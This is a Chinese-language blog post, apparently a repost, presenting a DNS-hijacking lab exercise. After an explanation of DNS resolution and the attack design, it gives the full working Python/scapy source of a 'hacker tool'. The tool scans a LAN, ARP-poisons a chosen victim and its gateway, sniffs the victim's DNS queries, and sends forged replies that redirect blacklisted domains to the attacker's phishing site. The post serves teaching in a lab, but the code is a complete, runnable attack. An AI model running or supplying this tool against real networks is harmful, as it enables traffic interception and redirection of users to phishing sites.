Windows实验——DNS劫持演练

一、实验环境

钓鱼网站:虚拟机Windows Server 2008的缺省网站     IP:192.168.43.44

攻击者:物理机Win 10                                                  IP:192.168.43.89

被攻击者:物理机Win 7                                                IP:192.168.43.50

二、DNS解析流程

  • 1、浏览器缓存:浏览器会按照一定的频率缓存DNS记录。
  • 2、操作系统缓存:如果浏览器缓存中找不到需要的DNS记录,那就去本地Hosts文件中找。
  • 3、如果本地Hosts文件中没有的话,会查找本地DNS服务器存储的区域文件,有就返回给客户端
  • 4、区域文件中没有的话,开始查找DNS本地服务器的内存中是否有缓存
  • 5、本地DNS服务器如果没有的话,就向其他DNS服务器发送查询请求

https://img2018.cnblogs.com/blog/1592114/201903/1592114-20190304224348746-1591440704.jpg

        本次实验我们是在被攻击者本机高速缓存和Hosts文件中都没有对应的DNS解析的情况下实现的,即被攻击者在查询Hosts文件失败后,向本地DNS服务器或者其他DNS服务器查询的这一过程中实现的。

三、DNS劫持基本原理

        DNS劫持又称域名劫持,是指在劫持的网络范围内拦截域名解析的请求,分析请求的域名,把审查范围以外的请求放行,否则返回假的IP地址或者什么都不做使请求失去响应,其效果就是对特定的网络不能访问或访问的是假网址。下面用一张图来帮大家理解:

 

四、设计思路

首先在Windows Server 2008 上搭建一个钓鱼网站,然后在物理机Win 10上对其进行DNS劫持,下面先对代码进行分块讲解:

1、获取本机的IP和网关,从ARP广播得到的应答包中获取本网段活跃主机的IP和MAC地址,对结果进行从小到大的排序并打印出来。

2、获得本网段中的活跃主机后,我们便可以选择任意一个主机进行ARP攻击,欺骗目标主机我就是他的网关,这样目标主机的所有数据流量都会发给我。

3、在对目标主机进行ARP攻击时,顺便拦截目标主机域名解析的请求,分析请求的域名,把在黑名单以外的请求放行,去进行真正的DNS解析;如果解析的域名在黑名单中,则对其进行DNS劫持,并向其发送一个DNS响应包,里面的IP是我搭建的网站的IP。这样,目标主机访问的将是我搭建的网站。

4、最后就是写主函数了,对各个函数进行调用,来实现相应的功能。

五、结果分析

1、局域网扫描结果如下:

2、DNS劫持结果如下:

  • 在被攻击者的电脑上执行 'arp -a' 可查看端口MAC地址表,如下图所示:

  • 在被攻击者电脑上进行Wireshark抓包分析:

这样被攻击者就上了一个攻击者精心设计的钓鱼网站了。

3、被攻击者浏览器页面显示:(用的是Windows Server 2008的缺省网站,懒得搭建新的了 )

六、全部代码

#DNS劫持演练
from scapy.all import *
import os
import time 
from threading import Thread
import sys

#定义变量和函数
wg=''
oldname=''
wifi='Qualcomm Atheros QCA9377 Wireless Network Adapter'
blacklist=['www.topsec.com','www.sina.com']

#扫描局域网,显示活跃主机
def scan():
    global wg
    #之所以用'route print'的结果来获取本机IP和网关IP,是因为'本机IP和网关IP'所在行有明显的特征
    for line in os.popen('route print'):       
        s=line.strip()
        if s.startswith('0.0.0.0'):
            slist=s.split()                    
            ip=slist[3]                      #获取本机IP
            wg=slist[2]                      #获取网关IP
            break
    print("本机上网的IP:",ip)
    print("本机上网的网关:",wg)
    tnet=wg+"/24"                            #tnet代表本网段    
    
    #扫描同一网段下的活跃主机,并按从大到小的顺序打印ip和mac
    #给同一网段的所有主机发送ARP广播。如果主机活跃则会有应答(ans)
    p=Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=tnet)   
    ans,unans=srp(p,iface=wifi,timeout=2,verbose=0)
    #根据应答(ans)的长度来确定活跃的主机
    print("一共扫描到%d台主机:"%len(ans))   
    result=[]
    for s,r in ans:
        #从应答包(ans)中获取活跃主机的IP和相应的MAC地址,并存在列表result中
        result.append([r[ARP].psrc,r[ARP].hwsrc])
    result.sort()                          
    for ip,mac in result:                    
        print(ip,"--->",mac)
         
#嗅探目标主机的DNS请求
def capture(target,t):
    tj="udp dst port 53 and host "+target
    pkts=sniff(iface=wifi,filter=tj,prn=dnsposion,timeout=t)

#ARP攻击
def spoof():
    vic=input("请输入攻击目标:")
    t=int(input("请输入攻击时间(单位:秒):"))
    #开启多线程,对目标主机的DNS请求进行抓包(ARP攻击之后,目标主机的上网请求都会经过我)
    ct=Thread(target=capture,args=(vic,t))
    ct.start()
    #每隔0.2秒给目标主机发送一次攻击,总共发5*int(t)次
    for i in range(5*int(t)):
        sendp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=vic,psrc=wg),verbose=0)
        sendp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=wg,psrc=vic),verbose=0)
        time.sleep(0.2)      
    ct.join()
    print("攻击结束!")
    
def dnsposion(p):
    global oldname              #将oldname定义成全局变量
    vmip=sys.argv[1]            #获取命令行的参数,即Windows Server 2008的IP
    try:
        #在劫持的网络范围内拦截域名解析的请求,分析请求的域名,把审查范围以外的请求放行
        if p.haslayer(DNS):     
            ip=p[IP]
            udp=p[UDP]
            dns=p[DNS]
            qname=dns.qd.qname.decode()[:-1]   #获取请求的域名
            
            #对于之前出现过的请求不再显示
            if qname!=oldname:
                print('收到一个请求',qname)
            
            #如果解析的域名在我的黑名单中,则构造一个包含我搭建的网站IP的DNS响应包发给目标主机
            if qname in blacklist:
                nip=IP(src=ip.dst,dst=ip.src)
                nudp=UDP(sport=udp.dport,dport=udp.sport)
                ndns=DNS(id=dns.id,qr=1,qd=dns.qd,an=DNSRR(rrname=dns.qd.qname,rdata=vmip))    
                send(nip/nudp/ndns,iface=wifi)
                print('%s--->'%qname,vmip)
    except:
        pass
    
def main():
    print("欢迎使用我的黑客工具!")
    while 1:
        sel=input("请选择要进行的操作:1、局域网扫描 2、DNS劫持 3、流量分析 4、退出\t")
        if sel=='1':
            scan()
        elif sel=='2':
            if not wg:
                print("请先执行扫描程序!")
            else:
                spoof()
        elif sel=='3':
            print("开发中... ...")
            pass        
        elif sel=='4':
            print("欢迎下次使用,再见!")
            break
        else:
            print("输入有误,请重新输入!")

if __name__=="__main__":
    main() 

 

猜你喜欢

转载自blog.csdn.net/weixin_43625577/article/details/88359439